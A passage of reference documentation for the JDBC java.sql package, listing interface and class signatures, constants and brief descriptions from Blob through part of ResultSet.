Hierarchy: Object-->Throwable(Serializable)-->Exception-->SQLException-->BatchUpdateException

Blob Java 1.2
java.sql

The Blob interface encapsulates a SQL BLOB field. The interface actually contains a pointer to the BLOB within the database, rather than the complete (and potentially very large) object. Data can be retrieved via a java.io.InputStream returned by getInputStream() or as an array of bytes returned by getBytes(). The length() method returns the number of bytes in the BLOB. The position() methods scan the contents of the Blob for a particular content sequence, represented by either another Blob object or a byte array. (The position() methods do not provide the current read-index within the BLOB).

public abstract interface Blob {
// | Public Instance Methods
 | public abstract java.io.InputStream getBinaryStream () throws SQLException;
 | public abstract byte[ ] getBytes (long pos, int length) throws SQLException;
 | public abstract long length () throws SQLException;
 | public abstract long position (byte[ ] pattern, long start) throws SQLException;
 | public abstract long position (Blob pattern, long start) throws SQLException;
}

Passed To: Blob.position(), PreparedStatement.setBlob(), SQLOutput.writeBlob(), javax.sql.RowSet.setBlob()

Returned By: CallableStatement.getBlob(), ResultSet.getBlob(), SQLInput.readBlob()

CallableStatement | Java 1.1
java.sql | PJ1.1(opt)

The CallableStatement interface allows programs to access SQL stored procedures within the database. You create a CallableStatement with the prepareCall() method of Connection. Question-mark characters (?) are used as placeholders for input and output values in the syntax that calls stored procedures:

{? = call procedure_name[(?[,?...])]}
{call procedure_name[(?[,?...])]}

Parameters are numbered sequentially starting from 1. Input parameters are set with the same setXXX() methods as in a PreparedStatement. Output parameters must be registered using the registerOutParameter() methods, and may be retrieved after the statement executes using the getXXX() methods, which are identical to those in ResultSet. To execute a statement, you call execute(), which is inherited from PreparedStatement.

public abstract interface CallableStatement extends PreparedStatement {
// | Public Instance Methods
1.2 | public abstract java.sql.Array getArray (int i) throws SQLException;
1.2 | public abstract java.math.BigDecimal getBigDecimal (int parameterIndex) throws SQLException;
1.2 | public abstract Blob getBlob (int i) throws SQLException;
 | public abstract boolean getBoolean (int parameterIndex) throws SQLException;
 | public abstract byte getByte (int parameterIndex) throws SQLException;
 | public abstract byte[ ] getBytes (int parameterIndex) throws SQLException;
1.2 | public abstract Clob getClob (int i) throws SQLException;
 | public abstract java.sql.Date getDate (int parameterIndex) throws SQLException;
1.2 | public abstract java.sql.Date getDate (int parameterIndex, java.util.Calendar cal) throws SQLException;
 | public abstract double getDouble (int parameterIndex) throws SQLException;
 | public abstract float getFloat (int parameterIndex) throws SQLException;
 | public abstract int getInt (int parameterIndex) throws SQLException;
 | public abstract long getLong (int parameterIndex) throws SQLException;
 | public abstract Object getObject (int parameterIndex) throws SQLException;
1.2 | public abstract Object getObject (int i, java.util.Map map) throws SQLException;
1.2 | public abstract Ref getRef (int i) throws SQLException;
 | public abstract short getShort (int parameterIndex) throws SQLException;
 | public abstract String getString (int parameterIndex) throws SQLException;
 | public abstract Time getTime (int parameterIndex) throws SQLException;
1.2 | public abstract Time getTime (int parameterIndex, java.util.Calendar cal) throws SQLException;
 | public abstract Timestamp getTimestamp (int parameterIndex) throws SQLException;
1.2 | public abstract Timestamp getTimestamp (int parameterIndex, java.util.Calendar cal) throws SQLException;
 | public abstract void registerOutParameter (int parameterIndex, int sqlType) throws SQLException;
1.2 | public abstract void registerOutParameter (int paramIndex, int sqlType, String typeName) throws SQLException;
 | public abstract void registerOutParameter (int parameterIndex, int sqlType, int scale) throws SQLException;
 | public abstract boolean wasNull () throws SQLException;
// | Deprecated Public Methods
# | public abstract java.math.BigDecimal getBigDecimal (int parameterIndex, int scale) throws SQLException;
}

Hierarchy: (CallableStatement(PreparedStatement(Statement)))

Returned By: java.sql.Connection.prepareCall()

Clob Java 1.2
java.sql

The Clob interface encapsulates a SQL CLOB field. The interface actually contains a pointer to the CLOB within the database, rather than the complete character string. Data is retrieved via getAsciiStream(), which returns an InputStream, or via getCharacterStream(), which returns a Reader. The getSubString() method returns a specific substring within the CLOB, while the position() methods search the CLOB for a pattern and return the index of the pattern's first appearance.

public abstract interface Clob {
// | Public Instance Methods
 | public abstract java.io.InputStream getAsciiStream () throws SQLException;
 | public abstract Reader getCharacterStream () throws SQLException;
 | public abstract String getSubString (long pos, int length) throws SQLException;
 | public abstract long length () throws SQLException;
 | public abstract long position (Clob searchstr, long start) throws SQLException;
 | public abstract long position (String searchstr, long start) throws SQLException;
}

Passed To: Clob.position(), PreparedStatement.setClob(), SQLOutput.writeClob(), javax.sql.RowSet.setClob()

Returned By: CallableStatement.getClob(), ResultSet.getClob(), SQLInput.readClob()

Connection | Java 1.1
java.sql | PJ1.1(opt)

The Connection interface represents an individual database connection. The object includes factory methods for Statement, PreparedStatement, and CallableStatement objects and a number of transaction control methods (setAutoCommit(), commit(), rollback(), getAutoCommit(), setTransactionIsolation(), and getTransactionIsolation()). Other methods provide information about the database. The most important of these is getMetaData(), which returns a DatabaseMetaData object. The getWarnings() method returns any warnings pending for this connection.

Connection objects are created with the static DriverManager.getConnection() method.

public abstract interface Connection {
// | Public Constants
 | public static final int TRANSACTION_NONE ; | =0
 | public static final int TRANSACTION_READ_COMMITTED ; | =2
 | public static final int TRANSACTION_READ_UNCOMMITTED ; | =1
 | public static final int TRANSACTION_REPEATABLE_READ ; | =4
 | public static final int TRANSACTION_SERIALIZABLE ; | =8
// | Public Instance Methods
 | public abstract void clearWarnings () throws SQLException; |
 | public abstract void close () throws SQLException; |
 | public abstract void commit () throws SQLException; |
 | public abstract Statement createStatement () throws SQLException; |
1.2 | public abstract Statement createStatement (int resultSetType, int resultSetConcurrency) throws SQLException; |
 | public abstract boolean getAutoCommit () throws SQLException; |
 | public abstract String getCatalog () throws SQLException; |
 | public abstract DatabaseMetaData getMetaData () throws SQLException; |
 | public abstract int getTransactionIsolation () throws SQLException; |
1.2 | public abstract java.util.Map getTypeMap () throws SQLException; |
 | public abstract SQLWarning getWarnings () throws SQLException; |
 | public abstract boolean isClosed () throws SQLException; |
 | public abstract boolean isReadOnly () throws SQLException; |
 | public abstract String nativeSQL (String sql) throws SQLException; |
 | public abstract CallableStatement prepareCall (String sql) throws SQLException; |
1.2 | public abstract CallableStatement prepareCall (String sql, int resultSetType, int resultSetConcurrency) throws SQLException; |
 | public abstract PreparedStatement prepareStatement (String sql) throws SQLException; |
1.2 | public abstract PreparedStatement prepareStatement (String sql, int resultSetType, int resultSetConcurrency) throws SQLException; |
 | public abstract void rollback () throws SQLException; |
 | public abstract void setAutoCommit (boolean autoCommit) throws SQLException; |
 | public abstract void setCatalog (String catalog) throws SQLException; |
 | public abstract void setReadOnly (boolean readOnly) throws SQLException; |
 | public abstract void setTransactionIsolation (int level) throws SQLException; |
1.2 | public abstract void setTypeMap (java.util.Map map) throws SQLException; |
}

Returned By: DatabaseMetaData.getConnection(), Driver.connect(), DriverManager.getConnection(), Statement.getConnection(), javax.sql.DataSource.getConnection(), javax.sql.PooledConnection.getConnection(), javax.sql.RowSetInternal.getConnection()

DatabaseMetaData | Java 1.1
java.sql | PJ1.1(opt)

The getMetaData() method of the Connection interface returns a DatabaseMetaData object that encapsulates nonconnection-dependent information about the underlying database. A number of methods return ResultSet objects that should be treated like any other ResultSet.

DatabaseMetaData methods that accept String parameters with names ending in "Pattern" allow for simple wildcard searching. These methods treat the % character as matching any number of characters and the _ character as matching any single character. If these parameters are set to null, pattern matching is not performed.

public abstract interface DatabaseMetaData {
// | Public Constants
 | public static final int bestRowNotPseudo ; | =1
 | public static final int bestRowPseudo ; | =2
 | public static final int bestRowSession ; | =2
 | public static final int bestRowTemporary ; | =0
 | public static final int bestRowTransaction ; | =1
 | public static final int bestRowUnknown ; | =0
 | public static final int columnNoNulls ; | =0
 | public static final int columnNullable ; | =1
 | public static final int columnNullableUnknown ; | =2
 | public static final int importedKeyCascade ; | =0
 | public static final int importedKeyInitiallyDeferred ; | =5
 | public static final int importedKeyInitiallyImmediate ; | =6
 | public static final int importedKeyNoAction ; | =3
 | public static final int importedKeyNotDeferrable ; | =7
 | public static final int importedKeyRestrict ; | =1
 | public static final int importedKeySetDefault ; | =4
 | public static final int importedKeySetNull ; | =2
 | public static final int procedureColumnIn ; | =1
 | public static final int procedureColumnInOut ; | =2
 | public static final int procedureColumnOut ; | =4
 | public static final int procedureColumnResult ; | =3
 | public static final int procedureColumnReturn ; | =5
 | public static final int procedureColumnUnknown ; | =0
 | public static final int procedureNoNulls ; | =0
 | public static final int procedureNoResult ; | =1
 | public static final int procedureNullable ; | =1
 | public static final int procedureNullableUnknown ; | =2
 | public static final int procedureResultUnknown ; | =0
 | public static final int procedureReturnsResult ; | =2
 | public static final short tableIndexClustered ; | =1
 | public static final short tableIndexHashed ; | =2
 | public static final short tableIndexOther ; | =3
 | public static final short tableIndexStatistic ; | =0
 | public static final int typeNoNulls ; | =0
 | public static final int typeNullable ; | =1
 | public static final int typeNullableUnknown ; | =2
 | public static final int typePredBasic ; | =2
 | public static final int typePredChar ; | =1
 | public static final int typePredNone ; | =0
 | public static final int typeSearchable ; | =3
 | public static final int versionColumnNotPseudo ; | =1
 | public static final int versionColumnPseudo ; | =2
 | public static final int versionColumnUnknown ; | =0
// | Public Instance Methods
 | public abstract boolean allProceduresAreCallable () throws SQLException; |
 | public abstract boolean allTablesAreSelectable () throws SQLException; |
 | public abstract boolean dataDefinitionCausesTransactionCommit () throws SQLException; |
 | public abstract boolean dataDefinitionIgnoredInTransactions () throws SQLException; |
1.2 | public abstract boolean deletesAreDetected (int type) throws SQLException; |
 | public abstract boolean doesMaxRowSizeIncludeBlobs () throws SQLException; |
 | public abstract ResultSet getBestRowIdentifier (String catalog, String schema, String table, int scope, boolean nullable) throws SQLException; |
 | public abstract ResultSet getCatalogs () throws SQLException; |
 | public abstract String getCatalogSeparator () throws SQLException; |
 | public abstract String getCatalogTerm () throws SQLException; |
 | public abstract ResultSet getColumnPrivileges (String catalog, String schema, String table, String columnNamePattern) throws SQLException; |
 | public abstract ResultSet getColumns (String catalog, String schemaPattern, String tableNamePattern, String columnNamePattern) throws SQLException; |
1.2 | public abstract java.sql.Connection getConnection () throws SQLException; |
 | public abstract ResultSet getCrossReference (String primaryCatalog, String primarySchema, String primaryTable, String foreignCatalog, String foreignSchema, String foreignTable) throws SQLException; |
 | public abstract String getDatabaseProductName () throws SQLException; |
 | public abstract String getDatabaseProductVersion () throws SQLException; |
 | public abstract int getDefaultTransactionIsolation () throws SQLException; |
 | public abstract int getDriverMajorVersion (); |
 | public abstract int getDriverMinorVersion (); |
 | public abstract String getDriverName () throws SQLException; |
 | public abstract String getDriverVersion () throws SQLException; |
 | public abstract ResultSet getExportedKeys (String catalog, String schema, String table) throws SQLException; |
 | public abstract String getExtraNameCharacters () throws SQLException; |
 | public abstract String getIdentifierQuoteString () throws SQLException; |
 | public abstract ResultSet getImportedKeys (String catalog, String schema, String table) throws SQLException; |
 | public abstract ResultSet getIndexInfo (String catalog, String schema, String table, boolean unique, boolean approximate) throws SQLException; |
 | public abstract int getMaxBinaryLiteralLength () throws SQLException; |
 | public abstract int getMaxCatalogNameLength () throws SQLException; |
 | public abstract int getMaxCharLiteralLength () throws SQLException; |
 | public abstract int getMaxColumnNameLength () throws SQLException; |
 | public abstract int getMaxColumnsInGroupBy () throws SQLException; |
 | public abstract int getMaxColumnsInIndex () throws SQLException; |
 | public abstract int getMaxColumnsInOrderBy () throws SQLException; |
 | public abstract int getMaxColumnsInSelect () throws SQLException; |
 | public abstract int getMaxColumnsInTable () throws SQLException; |
 | public abstract int getMaxConnections () throws SQLException; |
 | public abstract int getMaxCursorNameLength () throws SQLException; |
 | public abstract int getMaxIndexLength () throws SQLException; |
 | public abstract int getMaxProcedureNameLength () throws SQLException; |
 | public abstract int getMaxRowSize () throws SQLException; |
 | public abstract int getMaxSchemaNameLength () throws SQLException; |
 | public abstract int getMaxStatementLength () throws SQLException; |
 | public abstract int getMaxStatements () throws SQLException; |
 | public abstract int getMaxTableNameLength () throws SQLException; |
 | public abstract int getMaxTablesInSelect () throws SQLException; |
 | public abstract int getMaxUserNameLength () throws SQLException; |
 | public abstract String getNumericFunctions () throws SQLException; |
 | public abstract ResultSet getPrimaryKeys (String catalog, String schema, String table) throws SQLException; |
 | public abstract ResultSet getProcedureColumns (String catalog, String schemaPattern, String procedureNamePattern, String columnNamePattern) throws SQLException; |
 | public abstract ResultSet getProcedures (String catalog, String schemaPattern, String procedureNamePattern) throws SQLException; |
 | public abstract String getProcedureTerm () throws SQLException; |
 | public abstract ResultSet getSchemas () throws SQLException; |
 | public abstract String getSchemaTerm () throws SQLException; |
 | public abstract String getSearchStringEscape () throws SQLException; |
 | public abstract String getSQLKeywords () throws SQLException; |
 | public abstract String getStringFunctions () throws SQLException; |
 | public abstract String getSystemFunctions () throws SQLException; |
 | public abstract ResultSet getTablePrivileges (String catalog, String schemaPattern, String tableNamePattern) throws SQLException; |
 | public abstract ResultSet getTables (String catalog, String schemaPattern, String tableNamePattern, String[ ] types) throws SQLException; |
 | public abstract ResultSet getTableTypes () throws SQLException; |
 | public abstract String getTimeDateFunctions () throws SQLException; |
 | public abstract ResultSet getTypeInfo () throws SQLException; |
1.2 | public abstract ResultSet getUDTs (String catalog, String schemaPattern, String typeNamePattern, int[ ] types) throws SQLException; |
 | public abstract String getURL () throws SQLException; |
 | public abstract String getUserName () throws SQLException; |
 | public abstract ResultSet getVersionColumns (String catalog, String schema, String table) throws SQLException; |
1.2 | public abstract boolean insertsAreDetected (int type) throws SQLException; |
 | public abstract boolean isCatalogAtStart () throws SQLException; |
 | public abstract boolean isReadOnly () throws SQLException; |
 | public abstract boolean nullPlusNonNullIsNull () throws SQLException; |
 | public abstract boolean nullsAreSortedAtEnd () throws SQLException; |
 | public abstract boolean nullsAreSortedAtStart () throws SQLException; |
 | public abstract boolean nullsAreSortedHigh () throws SQLException; |
 | public abstract boolean nullsAreSortedLow () throws SQLException; |
1.2 | public abstract boolean othersDeletesAreVisible (int type) throws SQLException; |
1.2 | public abstract boolean othersInsertsAreVisible (int type) throws SQLException; |
1.2 | public abstract boolean othersUpdatesAreVisible (int type) throws SQLException; |
1.2 | public abstract boolean ownDeletesAreVisible (int type) throws SQLException; |
1.2 | public abstract boolean ownInsertsAreVisible (int type) throws SQLException; |
1.2 | public abstract boolean ownUpdatesAreVisible (int type) throws SQLException; |
 | public abstract boolean storesLowerCaseIdentifiers () throws SQLException; |
 | public abstract boolean storesLowerCaseQuotedIdentifiers () throws SQLException; |
 | public abstract boolean storesMixedCaseIdentifiers () throws SQLException; |
 | public abstract boolean storesMixedCaseQuotedIdentifiers () throws SQLException; |
 | public abstract boolean storesUpperCaseIdentifiers () throws SQLException; |
 | public abstract boolean storesUpperCaseQuotedIdentifiers () throws SQLException; |
 | public abstract boolean supportsAlterTableWithAddColumn () throws SQLException; |
 | public abstract boolean supportsAlterTableWithDropColumn () throws SQLException; |
 | public abstract boolean supportsANSI92EntryLevelSQL () throws SQLException; |
 | public abstract boolean supportsANSI92FullSQL () throws SQLException; |
 | public abstract boolean supportsANSI92IntermediateSQL () throws SQLException; |
1.2 | public abstract boolean supportsBatchUpdates () throws SQLException; |
 | public abstract boolean supportsCatalogsInDataManipulation () throws SQLException; |
 | public abstract boolean supportsCatalogsInIndexDefinitions () throws SQLException; |
 | public abstract boolean supportsCatalogsInPrivilegeDefinitions () throws SQLException; |
 | public abstract boolean supportsCatalogsInProcedureCalls () throws SQLException; |
 | public abstract boolean supportsCatalogsInTableDefinitions () throws SQLException; |
 | public abstract boolean supportsColumnAliasing () throws SQLException; |
 | public abstract boolean supportsConvert () throws SQLException; |
 | public abstract boolean supportsConvert (int fromType, int toType) throws SQLException; |
 | public abstract boolean supportsCoreSQLGrammar () throws SQLException; |
 | public abstract boolean supportsCorrelatedSubqueries () throws SQLException; |
 | public abstract boolean supportsDataDefinitionAndDataManipulationTransactions () throws SQLException; |
 | public abstract boolean supportsDataManipulationTransactionsOnly () throws SQLException; |
 | public abstract boolean supportsDifferentTableCorrelationNames () throws SQLException; |
 | public abstract boolean supportsExpressionsInOrderBy () throws SQLException; |
 | public abstract boolean supportsExtendedSQLGrammar () throws SQLException; |
 | public abstract boolean supportsFullOuterJoins () throws SQLException; |
 | public abstract boolean supportsGroupBy () throws SQLException; |
 | public abstract boolean supportsGroupByBeyondSelect () throws SQLException; |
 | public abstract boolean supportsGroupByUnrelated () throws SQLException; |
 | public abstract boolean supportsIntegrityEnhancementFacility () throws SQLException; |
 | public abstract boolean supportsLikeEscapeClause () throws SQLException; |
 | public abstract boolean supportsLimitedOuterJoins () throws SQLException; |
 | public abstract boolean supportsMinimumSQLGrammar () throws SQLException; |
 | public abstract boolean supportsMixedCaseIdentifiers () throws SQLException; |
 | public abstract boolean supportsMixedCaseQuotedIdentifiers () throws SQLException; |
 | public abstract boolean supportsMultipleResultSets () throws SQLException; |
 | public abstract boolean supportsMultipleTransactions () throws SQLException; |
 | public abstract boolean supportsNonNullableColumns () throws SQLException; |
 | public abstract boolean supportsOpenCursorsAcrossCommit () throws SQLException; |
 | public abstract boolean supportsOpenCursorsAcrossRollback () throws SQLException; |
 | public abstract boolean supportsOpenStatementsAcrossCommit () throws SQLException; |
 | public abstract boolean supportsOpenStatementsAcrossRollback () throws SQLException; |
 | public abstract boolean supportsOrderByUnrelated () throws SQLException; |
 | public abstract boolean supportsOuterJoins () throws SQLException; |
 | public abstract boolean supportsPositionedDelete () throws SQLException; |
 | public abstract boolean supportsPositionedUpdate () throws SQLException; |
1.2 | public abstract boolean supportsResultSetConcurrency (int type, int concurrency) throws SQLException; |
1.2 | public abstract boolean supportsResultSetType (int type) throws SQLException; |
 | public abstract boolean supportsSchemasInDataManipulation () throws SQLException; |
 | public abstract boolean supportsSchemasInIndexDefinitions () throws SQLException; |
 | public abstract boolean supportsSchemasInPrivilegeDefinitions () throws SQLException; |
 | public abstract boolean supportsSchemasInProcedureCalls () throws SQLException; |
 | public abstract boolean supportsSchemasInTableDefinitions () throws SQLException; |
 | public abstract boolean supportsSelectForUpdate () throws SQLException; |
 | public abstract boolean supportsStoredProcedures () throws SQLException; |
 | public abstract boolean supportsSubqueriesInComparisons () throws SQLException; |
 | public abstract boolean supportsSubqueriesInExists () throws SQLException; |
 | public abstract boolean supportsSubqueriesInIns () throws SQLException; |
 | public abstract boolean supportsSubqueriesInQuantifieds () throws SQLException; |
 | public abstract boolean supportsTableCorrelationNames () throws SQLException; |
 | public abstract boolean supportsTransactionIsolationLevel (int level) throws SQLException; |
 | public abstract boolean supportsTransactions () throws SQLException; |
 | public abstract boolean supportsUnion () throws SQLException; |
 | public abstract boolean supportsUnionAll () throws SQLException; |
1.2 | public abstract boolean updatesAreDetected (int type) throws SQLException; |
 | public abstract boolean usesLocalFilePerTable () throws SQLException; |
 | public abstract boolean usesLocalFiles () throws SQLException; |
}

Returned By: java.sql.Connection.getMetaData()

DataTruncation | Java 1.1
java.sql | serializable checked PJ1.1(opt)

This subclass of SQLWarning is a special warning used when JDBC unexpectedly truncates a data value. It is chained as a warning on read operations and thrown as an exception on write operations.

public class DataTruncation extends SQLWarning {
// | Public Constructors
 | public DataTruncation (int index, boolean parameter, boolean read, int dataSize, int transferSize);
// | Public Instance Methods
 | public int getDataSize ();
 | public int getIndex ();
 | public boolean getParameter ();
 | public boolean getRead ();
 | public int getTransferSize ();
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->SQLException-->SQLWarning-->DataTruncation

Date | Java 1.1
java.sql | cloneable serializable comparable PJ1.1(opt)

A wrapper around the java.util.Date class that adjusts the time value (milliseconds since January 1, 1970 0:00:00 GMT) to conform to the SQL DATE specification. The DATE type only deals with the day, month, and year, so the hours, minutes, seconds, and milliseconds are set to 00:00:00.00 in the current time zone. The Date class also includes a static valueOf() method that decodes the JDBC Date escape syntax yyyy-mm-dd into a Date value.

public class Date extends java.util.Date {
// | Public Constructors
 | public Date (long date); |
# | public Date (int year, int month, int day); |
// | Public Class Methods
 | public static java.sql.Date valueOf (String s); |
// | Public methods overriding Date
 | public void setTime (long date); |
 | public String toString (); |
// | Deprecated Public Methods
# | public int getHours (); | Overrides:Date
# | public int getMinutes (); | Overrides:Date
# | public int getSeconds (); | Overrides:Date
# | public void setHours (int i); | Overrides:Date
# | public void setMinutes (int i); | Overrides:Date
# | public void setSeconds (int i); | Overrides:Date
}

Hierarchy: Object-->java.util.Date(Serializable,Cloneable,Comparable)-->java.sql.Date

Passed To: PreparedStatement.setDate(), ResultSet.updateDate(), SQLOutput.writeDate(), javax.sql.RowSet.setDate()

Returned By: CallableStatement.getDate(), java.sql.Date.valueOf(), ResultSet.getDate(), SQLInput.readDate()

Driver | Java 1.1
java.sql | PJ1.1(opt)

Every JDBC driver must implement the Driver interface. Most programmers never need to deal with this interface, except when using the DriverManager.registerDriver() method, which is generally not recommended. The better way to register a driver is to load the driver by calling Class.forName() on the driver class, which automatically registers the driver as well.

public abstract interface Driver {
// | Public Instance Methods
 | public abstract boolean acceptsURL (String url) throws SQLException;
 | public abstract java.sql.Connection connect (String url, java.util.Properties info) throws SQLException;
 | public abstract int getMajorVersion ();
 | public abstract int getMinorVersion ();
 | public abstract DriverPropertyInfo[ ] getPropertyInfo (String url, java.util.Properties info) throws SQLException;
 | public abstract boolean jdbcCompliant ();
}

Passed To: DriverManager.{deregisterDriver(), registerDriver()}

Returned By: DriverManager.getDriver()

DriverManager | Java 1.1
java.sql | PJ1.1(opt)

The DriverManager class is responsible for loading JDBC drivers and creating Connection objects. It starts by loading all the drivers specified in the jdbc.drivers system property. Individual drivers can also be loaded by calling Class.forName() with the driver class name.

Programs use the static DriverManager.getConnection() method to create individual database connections. The driver manager creates the Connection using the appropriate driver, based on the JDBC URL specified in the call to getConnection().

public class DriverManager {
// | No Constructor
// | Public Class Methods
 | public static void deregisterDriver (Driver driver) throws SQLException; | synchronized
 | public static java.sql.Connection getConnection (String url) throws SQLException; | synchronized
 | public static java.sql.Connection getConnection (String url, java.util.Properties info) throws SQLException; | synchronized
 | public static java.sql.Connection getConnection (String url, String user, String password) throws SQLException; | synchronized
 | public static Driver getDriver (String url) throws SQLException; | synchronized
 | public static java.util.Enumeration getDrivers (); | synchronized
 | public static int getLoginTimeout (); |
1.2 | public static PrintWriter getLogWriter (); |
 | public static void println (String message); | synchronized
 | public static void registerDriver (Driver driver) throws SQLException; | synchronized
 | public static void setLoginTimeout (int seconds); |
1.2 | public static void setLogWriter (PrintWriter out); | synchronized
// | Deprecated Public Methods
# | public static PrintStream getLogStream (); |
# | public static void setLogStream (PrintStream out); | synchronized
}
DriverPropertyInfo | Java 1.1
java.sql | PJ1.1(opt)

The DriverPropertyInfo class contains the properties required to create a new database connection using a particular driver. It is returned by the getDriverProperties() method of Driver. This class is useful only for programmers who need to interact directly with the driver in a dynamic manner.

public class DriverPropertyInfo {
// | Public Constructors
 | public DriverPropertyInfo (String name, String value);
// | Public Instance Fields
 | public String[ ] choices ;
 | public String description ;
 | public String name ;
 | public boolean required ;
 | public String value ;
}

Returned By: Driver.getPropertyInfo()

PreparedStatement | Java 1.1
java.sql | PJ1.1(opt)

The PreparedStatement interface allows programs to precompile SQL statements for increased performance. You obtain a PreparedStatement object with the prepareStatement() method of Connection. Parameters in the statement are denoted by ? characters in the SQL string and indexed from 1 to n. Individual parameter values are set using the setXXX() methods, while the clearParameters() method clears all the parameters. Note that some JDBC drivers do not implement setObject() properly when dealing with null field types. Once all parameters have been set, the statement is executed using execute(), executeQuery(), or executeUpdate(). Unlike with the Statement object, the execution methods take no parameters.

public abstract interface PreparedStatement extends Statement {
// | Public Instance Methods
1.2 | public abstract void addBatch () throws SQLException;
 | public abstract void clearParameters () throws SQLException;
 | public abstract boolean execute () throws SQLException;
 | public abstract ResultSet executeQuery () throws SQLException;
 | public abstract int executeUpdate () throws SQLException;
1.2 | public abstract ResultSetMetaData getMetaData () throws SQLException;
1.2 | public abstract void setArray (int i, java.sql.Array x) throws SQLException;
 | public abstract void setAsciiStream (int parameterIndex, java.io.InputStream x, int length) throws SQLException;
 | public abstract void setBigDecimal (int parameterIndex, java.math.BigDecimal x) throws SQLException;
 | public abstract void setBinaryStream (int parameterIndex, java.io.InputStream x, int length) throws SQLException;
1.2 | public abstract void setBlob (int i, Blob x) throws SQLException;
 | public abstract void setBoolean (int parameterIndex, boolean x) throws SQLException;
 | public abstract void setByte (int parameterIndex, byte x) throws SQLException;
 | public abstract void setBytes (int parameterIndex, byte[ ] x) throws SQLException;
1.2 | public abstract void setCharacterStream (int parameterIndex, Reader reader, int length) throws SQLException;
1.2 | public abstract void setClob (int i, Clob x) throws SQLException;
 | public abstract void setDate (int parameterIndex, java.sql.Date x) throws SQLException;
1.2 | public abstract void setDate (int parameterIndex, java.sql.Date x, java.util.Calendar cal) throws SQLException;
 | public abstract void setDouble (int parameterIndex, double x) throws SQLException;
 | public abstract void setFloat (int parameterIndex, float x) throws SQLException;
 | public abstract void setInt (int parameterIndex, int x) throws SQLException;
 | public abstract void setLong (int parameterIndex, long x) throws SQLException;
 | public abstract void setNull (int parameterIndex, int sqlType) throws SQLException;
1.2 | public abstract void setNull (int paramIndex, int sqlType, String typeName) throws SQLException;
 | public abstract void setObject (int parameterIndex, Object x) throws SQLException;
 | public abstract void setObject (int parameterIndex, Object x, int targetSqlType) throws SQLException;
 | public abstract void setObject (int parameterIndex, Object x, int targetSqlType, int scale) throws SQLException;
1.2 | public abstract void setRef (int i, Ref x) throws SQLException;
 | public abstract void setShort (int parameterIndex, short x) throws SQLException;
 | public abstract void setString (int parameterIndex, String x) throws SQLException;
 | public abstract void setTime (int parameterIndex, Time x) throws SQLException;
1.2 | public abstract void setTime (int parameterIndex, Time x, java.util.Calendar cal) throws SQLException;
 | public abstract void setTimestamp (int parameterIndex, Timestamp x) throws SQLException;
1.2 | public abstract void setTimestamp (int parameterIndex, Timestamp x, java.util.Calendar cal) throws SQLException;
// | Deprecated Public Methods
# | public abstract void setUnicodeStream (int parameterIndex, java.io.InputStream x, int length) throws SQLException;
}

Hierarchy: (PreparedStatement(Statement))

Implementations: CallableStatement

Returned By: java.sql.Connection.prepareStatement()

Ref Java 1.2
java.sql

The Ref interface provides a pointer to a structured data type within the database. The getBaseType() method returns the name of the underlying type.

public abstract interface Ref {
// | Public Instance Methods
 | public abstract String getBaseTypeName () throws SQLException;
}

Passed To: PreparedStatement.setRef(), SQLOutput.writeRef(), javax.sql.RowSet.setRef()

Returned By: CallableStatement.getRef(), ResultSet.getRef(), SQLInput.readRef()

ResultSet | Java 1.1
java.sql | PJ1.1(opt)

The ResultSet interface represents a database result set, allowing programs to access the data in the result set. ResultSet objects are usually generated by the execute(), executeUpdate(), and executeQuery() methods of Statement and PreparedStatement. They are also returned by certain metadata methods.

The JDBC 1.0 ResultSet allows you to scroll navigate through the data once from beginning to end, iterating through rows using the next() method and retrieving individual fields using the getXXX() methods. The getMetaData() method returns a ResultSetMetaData object that describes the structure of the underlying data.

JDBC 2.0 introduces a number of new features: complete scrolling capabilities (the previous(), first(), last(), and related methods), direct updating of data via the updateXXX() methods, and insertion of new data rows using the insertRow() method. Since there are relatively few JDBC 2.0-compliant drivers (currently available as of this book's print date), you may want to avoid the JDBC 2.0 methods for the time being.

public abstract interface ResultSet {
// | Public Constants
1.2 | public static final int CONCUR_READ_ONLY ; | =1007
1.2 | public static final int CONCUR_UPDATABLE ; | =1008
1.2 | public static final int FETCH_FORWARD ; | =1000
1.2 | public static final int FETCH_REVERSE ; | =1001
1.2 | public static final int FETCH_UNKNOWN ; | =1002
1.2 | public static final int TYPE_FORWARD_ONLY ; | =1003
1.2 | public static final int TYPE_SCROLL_INSENSITIVE ; | =1004
1.2 | public static final int TYPE_SCROLL_SENSITIVE ; | =1005
// | Public Instance Methods
1.2 | public abstract boolean absolute (int row) throws SQLException; |
1.2 | public abstract void afterLast () throws SQLException; |
1.2 | public abstract void beforeFirst () throws SQLException; |
1.2 | public abstract void cancelRowUpdates () throws SQLException; |
 | public abstract void clearWarnings () throws SQLException; |
 | public abstract void close () throws SQLException; |
1.2 | public abstract void deleteRow () throws SQLException; |
 | public abstract int findColumn (String columnName) throws SQLException; |
1.2 | public abstract boolean first () throws SQLException; |
1.2 | public abstract java.sql.Array getArray (String colName) throws SQLException; |
1.2 | public abstract java.sql.Array getArray (int i) throws SQLException; |
 | public abstract java.io.InputStream getAsciiStream (String columnName) throws SQLException; |
 | public abstract java.io.InputStream getAsciiStream (int columnIndex) throws SQLException; |
1.2 | public abstract java.math.BigDecimal getBigDecimal (String columnName) throws SQLException; |
1.2 | public abstract java.math.BigDecimal getBigDecimal (int columnIndex) throws SQLException; |
 | public abstract java.io.InputStream getBinaryStream (String columnName) throws SQLException; |
 | public abstract java.io.InputStream getBinaryStream (int columnIndex) throws SQLException; |
1.2 | public abstract Blob getBlob (String colName) throws SQLException; |
1.2 | public abstract Blob getBlob (int i) throws SQLException; |
 | public abstract boolean getBoolean (String columnName) throws SQLException; |
 | public abstract boolean getBoolean (int columnIndex) throws SQLException; |
 | public abstract byte getByte (String columnName) throws SQLException; |
 | public abstract byte getByte (int columnIndex) throws SQLException; |
 | public abstract byte[ ] getBytes (String columnName) throws SQLException; |
 | public abstract byte[ ] getBytes (int columnIndex) throws SQLException; |
1.2 | public abstract Reader getCharacterStream (String columnName) throws SQLException; |
1.2 | public abstract Reader getCharacterStream (int columnIndex) throws SQLException; |
1.2 | public abstract Clob getClob (String colName) throws SQLException; |
1.2 | public abstract Clob getClob (int i) throws SQLException; |
1.2 | public abstract int getConcurrency () throws SQLException; |
 | public abstract String getCursorName () throws SQLException; |
 | public abstract java.sql.Date getDate (String columnName) throws SQLException; |
 | public abstract java.sql.Date getDate (int columnIndex) throws SQLException; |
1.2 | public abstract java.sql.Date getDate (String columnName, java.util.Calendar cal) throws SQLException; |
1.2 | public abstract java.sql.Date getDate (int columnIndex, java.util.Calendar cal) throws SQLException; |
